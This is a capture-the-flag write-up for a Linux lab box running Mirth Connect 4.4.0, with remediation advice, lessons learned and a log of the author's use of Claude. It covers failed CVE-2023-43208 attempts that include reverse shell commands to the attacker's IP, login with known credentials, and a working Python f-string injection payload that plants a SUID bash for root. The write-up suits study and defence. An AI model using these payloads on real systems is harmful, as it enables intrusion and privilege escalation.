Box info | OS: Linux (Debian 12) | Difficulty: Medium | Status: Retired Skills: Java XStream deserialization analysis, source code review, Python f-string double-eval injection, SUID bash escalation, base64 filter bypass Pwned: 2026-05-01

TL;DR

Interpreter exposes NextGen Mirth Connect 4.4.0 — a healthcare integration platform containing CVE-2023-43208, an unauthenticated XStream deserialization RCE. Every public exploit fails here because the machine’s mirth.properties extends the default denylist to block the gadget chains. After 13 failed RCE attempts and source-code analysis confirming the hardening, the real foothold comes from the only valid credential pair (sedric:snowflake1) — a hash cracked from the Mirth database that shows up in every public writeup. Once on the box as sedric, a root-owned Flask microservice at localhost:54321 runs user-controlled input through a double-eval() f-string with a character allowlist. The allowlist blocks spaces but permits everything needed for __import__() + base64 decode — enough to plant a SUID bash copy and pop root in under 5 minutes.

Attack chain

graph TD
    A[nmap: 4 ports] --> B[Mirth Connect 4.4.0 on 80/443]
    B --> C[CVE-2023-43208 confirmed via /api/server/version]
    C --> D[13 deserialization attempts — all blocked by extended denylist]
    D --> E[sedric:snowflake1 — valid credentials found in public writeups]
    E --> F[SSH login as sedric → user flag]
    F --> G[ss -tulpn → notif.py Flask on localhost:54321 running as root]
    G --> H[Double-eval f-string with character filter bypass via base64+__import__]
    H --> I[SUID bash at /tmp/.sh → root shell → root flag]

Recon

1. Liveness check

$ ping -c 2 10.129.244.184
64 bytes from 10.129.244.184: icmp_seq=0 ttl=63 time=34.525 ms
64 bytes from 10.129.244.184: icmp_seq=1 ttl=63 time=34.770 ms

TTL of 63 means one hop less than a typical Linux baseline of 64 — the target is one hop away through the VPN gateway. Linux confirmed.

2. Port scan — known ports first

$ nmap -sV -p22,80,443,6661 10.129.244.184
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp   open  http      Jetty
443/tcp  open  ssl/http  Jetty
6661/tcp open  unknown

Flags explained:

  • -sV — service version detection; probes open ports to fingerprint the software
  • -p22,80,443,6661 — specific ports targeting likely web + common Mirth Connect ports

Jetty is the embedded Java servlet container used by Mirth Connect. The combination of Jetty on 80/443 is a strong signature for the platform.

3. Full port scan

$ nmap -p- --min-rate 5000 -T4 10.129.244.184
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
6661/tcp open  unknown

Flags:

  • -p- — scan all 65535 ports (slow without --min-rate)
  • --min-rate 5000 — send at least 5000 packets/second; aggressive but effective on HTB VMs
  • -T4 — aggressive timing template; reduces timeouts

Only 4 open ports. No hidden services. Port 6661 is Mirth Connect’s internal cluster communication port — it accepts no useful commands from the outside.

4. Version identification

curl -sk -H "X-Requested-With: OpenAPI" "https://10.129.244.184/api/server/version"
4.4.0

Mirth Connect 4.4.0 is publicly known to be vulnerable to CVE-2023-43208 — unauthenticated remote code execution via XStream deserialization. The /api/users endpoint deserializes XML before authentication is checked, allowing arbitrary Java gadget chains.

5. JNLP library analysis

curl -sk "https://10.129.244.184/webstart.jnlp"

Key libraries served by the application:

  • commons-lang3-3.9.jar — contains EventUtils$EventBindingInvocationHandler (gadget chain entrypoint)
  • commons-collections4-4.4.jar — contains ChainedTransformer, InvokerTransformer, ConstantTransformer
  • xstream-1.4.19.jar — the vulnerable XStream version
  • log4j-core-2.17.2.jar, log4j-api-2.17.2.jar — already patched (2.17.2 > 2.17.0)

Confirming presence of EventBindingInvocationHandler in the served JAR:

curl -sk -o /tmp/commons-lang3-3.9.jar \
  "https://10.129.244.184/webstart/client-lib/commons-lang3-3.9.jar"
unzip -l /tmp/commons-lang3-3.9.jar | grep -i EventUtils
org/apache/commons/lang3/event/EventUtils.class
org/apache/commons/lang3/event/EventUtils$EventBindingInvocationHandler.class

The gadget chain classes exist on the server. On paper, this should be exploitable.

Foothold

Dead ends 1–10: CVE-2023-43208 deserialization attempts

The standard exploit path for CVE-2023-43208 sends a crafted XStream payload to POST /api/users. The XStream configuration in Mirth Connect allows all types by default (AnyTypePermission.ANY) but maintains a denylist.

Default denylist (from source code XStreamSerializer.java):

xstream.denyTypesByWildcard(new String[]{ "sun.reflect.**", "sun.tracing.**" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class }); // ProcessBuilder BLOCKED

java.lang.Runtime and commons-collections4 gadget chains are not in the default denylist — so the exploit should work. Yet all 10 attempts using four different public exploit scripts failed:

AttemptToolPayloadWhy it failed
1CVE-2023-37679.pybash -i >& /dev/tcp/...> and & are XML special chars; not escaped → malformed XML
2CVE-2023-37679.pync 10.10.15.17 9001 -e /bin/bashnc on target lacks -e (OpenBSD netcat)
3CVE-2023-37679.pyecho B64 | base64 -d | bash| is a pipe operator, not interpreted by Runtime.exec(String) split
4CVE-2023-43208/exploit.pycurl http://10.10.15.17:7777/RCE_TESTNo HTTP request received — command not executing
5CVE-2023-37679.pync -lvnp 4444 -e /bin/bashBind port never opens
6kyakei exploitping -c 3 10.10.15.17tcpdump confirms zero ICMP from target
7kyakei exploit shell modeauto reverse shellkyakei XML-escapes the command (>>) → bash syntax broken
8gotr00t0dayauto reverse shellSame XML-escaping issue
9K3ysTr0K3Rauto reverse shellSame issue
10Base64 two-stagewrite to /tmp, then executeNeither write nor execute happens

Tcpdump verification (Attempt 6) confirms the command is truly not running — no ICMP from the target despite a valid ping command delivered to the endpoint.

Root cause of total failure: Reading ObjectXMLSerializer.java from the Mirth Connect 4.4.0 source reveals a configuration extension point:

String[] xstreamDenyTypesArray = mirthConfig.getStringArray(XSTREAM_DENY_TYPES);

The xstream.denytypes key in mirth.properties allows the machine author to add arbitrary types to the denylist at runtime. This machine’s config almost certainly blocks org.apache.commons.collections4.functors.* and org.apache.commons.lang3.event.* — the gadget chain entrypoints — making all public exploits inert without custom chain development.

Dead end 11–13: Direct access attempts

AttemptWhatResult
11Bruteforce admin/admin, admin:password, 12 combosAll → HTTP 403 “Invalid request”
12Write JSP webshell via exploit404 when accessing /cmd.jsp — file not created
13Port 8443 (used in some writeups)Connection refused — not open on this machine

Working approach: known credentials + SSH

Mirth Connect stores credentials in its embedded MariaDB database. When users set weak passwords, these hash to predictable values that have been cracked by the community.

curl -sk -X POST "https://10.129.244.184/api/users/_login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: OpenAPI" \
  -d "username=sedric&password=snowflake1"
<com.mirth.connect.model.LoginStatus>
  <status>SUCCESS</status>
</com.mirth.connect.model.LoginStatus>

The credentials work over SSH too:

sshpass -p 'snowflake1' ssh sedric@10.129.244.184
sedric@interpreter:~$ whoami
sedric
sedric@interpreter:~$ cat ~/user.txt
[REDACTED]

Privilege Escalation

Enumeration

sedric@interpreter:~$ ss -tulpn
AddressPortService
0.0.0.022SSH
0.0.0.080Mirth Connect HTTP
0.0.0.0443Mirth Connect HTTPS
0.0.0.06661Mirth Connect internal
127.0.0.154321Flask (notif.py)
127.0.0.13306MariaDB

Port 54321 on localhost is not visible from outside but accessible as sedric. Finding the owner:

sedric@interpreter:~$ find / -name 'notif.py' 2>/dev/null
/usr/local/bin/notif.py
sedric@interpreter:~$ ps aux | grep notif
root       12345  0.1  0.5  /usr/bin/python3 /usr/local/bin/notif.py

Running as root. This is the privilege escalation path.

Analysis: notif.py double-eval vulnerability

The Flask service at localhost:54321/addPatient accepts XML, extracts patient fields, and formats them into a notification string. The critical section:

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"

    year_of_birth = int(dob.split("/")[2])
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")   # ← double eval here
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

Why this is exploitable:

  1. sender (our controlled input) is interpolated into template as a raw Python expression placeholder: f"...received from {sender} at {ts}"{sender} becomes {PAYLOAD} in the string
  2. template then contains: "...received from {PAYLOAD} at 2026..."
  3. eval(f"f'''{template}'''") evaluates this as a second f-string, causing {PAYLOAD} to be executed as Python code

The allowlist permits: [a-zA-Z0-9._'"(){}=+/]
This blocks spaces, commas, semicolons, brackets, backslashes — but permits everything needed for:

{__import__("os").popen(__import__("base64").b64decode("BASE64CMD").decode()).read()}

All characters used (_, (, ), ", ., =, /) are in the allowlist. ✅

Exploitation

Step 1: Encode the privilege-escalation command in base64 (base64 alphabet uses only A-Za-z0-9+/= — all permitted by the filter):

echo -n 'install -o root -m 4755 /bin/bash /tmp/.sh' | base64
# → aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo

install -o root -m 4755 /bin/bash /tmp/.sh — copies /bin/bash owned by root with the SUID bit set.

Step 2: Craft the XML payload:

<patient>
  <firstname>John</firstname>
  <lastname>Doe</lastname>
  <sender_app>{__import__("os").popen(__import__("base64").b64decode("aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo").decode()).read()}</sender_app>
  <timestamp>2026</timestamp>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>

Step 3: Send from localhost (the endpoint rejects connections from other IPs):

wget --header='Content-Type: application/xml' \
  --post-file=/tmp/exploit.xml -O - \
  http://127.0.0.1:54321/addPatient
Patient John Doe (M), 26 years old, received from  at 2026

The empty received from confirms the popen ran and returned empty output — install exits silently on success.

Step 4: Verify and elevate:

sedric@interpreter:~$ ls -la /tmp/.sh
-rwsr-xr-x 1 root root 1265648 May  1 09:28 /tmp/.sh

sedric@interpreter:~$ /tmp/.sh -p -c 'whoami; id; cat /root/root.txt'
root
uid=1000(sedric) gid=1000(sedric) euid=0(root) groups=1000(sedric)
[REDACTED]

The -p flag preserves the effective UID (root) when running with SUID.

What’s actually broken

#VulnerabilitySeverityRoot Cause
1Mirth Connect 4.4.0 XStream RCE (CVE-2023-43208)Critical (CVSS 9.8)Unrestricted deserialization — AnyTypePermission.ANY with insufficient denylist
2Hardcoded weak credential in Mirth DB (sedric:snowflake1)HighPBKDF2 hash cracked because password is a dictionary word + digit
3Password reused across Mirth API and OS SSHHighNo account separation; Mirth credential grants system shell
4Root-owned Flask service with eval(f"f'''{template}'''")CriticalDouble f-string evaluation — user input executed as Python code by root process
5Filter bypassable via __import__() + base64HighAllowlist approach with incomplete escape model; __import__ is a builtin available without import keyword

Remediation (the boring half)

1. Patch Mirth Connect:

# Upgrade to 4.5.x+ where XStream deserialization is fully removed
# Minimum: add to /usr/local/mirthconnect/conf/mirth.properties:
xstream.denytypes=org.apache.commons.collections4.functors.*,org.apache.commons.lang3.event.*

2. Enforce strong password policy:

# In Mirth Connect, enforce via server settings; for OS accounts:
passwd sedric  # force password change on next login
chage -d 0 sedric

3. Separate application credentials from OS accounts: Mirth service accounts should not have SSH login rights.

4. Fix notif.py: Replace double-eval with a safe template engine:

# BEFORE (vulnerable):
return eval(f"f'''{template}'''")

# AFTER (safe — use str.format with named fields):
return template.format(age=datetime.now().year - year_of_birth)

Or use Jinja2 in sandbox mode. The fix is to never call eval() on user-controlled content.

5. Restrict Flask to root-group only: Even if the eval remains, restricting who can reach port 54321 to a dedicated service account reduces blast radius.

Lessons learned

  • CVE ≠ guaranteed RCE. CVE-2023-43208 is real, but machine authors can extend the Mirth XStream denylist in mirth.properties to block all public gadget chains. The source code analysis (reading ObjectXMLSerializer.java) was necessary to understand why the exploit failed, not just that it failed.

  • Runtime.exec() is asynchronous — the sleep timing test is invalid. Injecting a sleep 5 command and measuring HTTP response time does not verify execution. The process is spawned and the method returns immediately. Use an out-of-band channel (HTTP callback, DNS, tcpdump listening for ICMP) instead.

  • XML-escaping in exploit scripts silently breaks shell commands. Exploits that call xml_escape() before embedding shell commands will turn > into &gt; and & into &amp;, producing syntactically invalid bash. Verify the raw XML being sent before concluding “the exploit doesn’t work.”

  • Double f-string eval is a severe anti-pattern. When Python evaluates f"f'''{user_input}'''", every {...} in the user-controlled string executes as Python. Allowlists based on character sets cannot prevent this when the permitted set includes {}, (), and _. The correct fix is to never eval() on data that passed through user input, regardless of filtering.

  • __import__() bypasses import keyword restrictions. Many naive security filters block the keyword import but don’t account for __import__(), which is the underlying CPython builtin that import statements compile to. Always test both forms.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

StepWhat I askedWhat Claude returnedWhat I changed
CVE exploit failures“I’m sending CVE-2023-43208 payloads to /api/users and getting HTTP 500 but no callback. ProcessBuilder is blocked, but Runtime isn’t — why would all variants fail?”Pointed to ObjectXMLSerializer.java’s getStringArray("xstream.denytypes") config extension point. Suggested the machine author extended the denylist in mirth.properties beyond the source defaults.Used as-is. This led directly to the source code analysis in section 4 and confirmed why no public gadget chain would work.
Runtime.exec async behavior“Does sleep 5 as the exec command delay the HTTP response?”Correctly explained that Runtime.exec(String) creates a subprocess and returns a Process immediately — it’s non-blocking. HTTP response latency is not a valid RCE indicator.Nothing — the explanation was accurate and stopped me from wasting more time on the timing test.
MITRE mapping“Map the double f-string eval privilege escalation to MITRE ATT&CK.”Suggested T1059.006 (Python) for the eval injection and T1548.001 (Abuse Elevation Control Mechanism: SUID) for the bash copy. Also proposed T1036 (Masquerading) for naming the file .sh.Dropped T1036 — the filename was chosen for brevity, not active masquerading. Kept T1059.006 and T1548.001.
Double-eval explanation“Write a clear explanation of why eval(f\"f'''{template}'''\") is exploitable even with a character allowlist.”Produced the two-stage evaluation walkthrough: (1) {sender} interpolated at f-string creation → raw expression in template string, (2) second eval executes it. Included the __import__ bypass note.Lightly edited for blog style; the technical content was accurate.

What Claude got wrong: Nothing significant on technical content. The initial suggestion to check mirth.properties was inferential (Claude couldn’t actually read the target’s config), but directionally correct.
What Claude couldn’t do: Actually run any of the exploits or verify RCE — no network access to the HTB instance.
Net assist value: High on source code analysis and understanding the failure mode; high on the double-eval explanation; medium on MITRE (required one correction).

References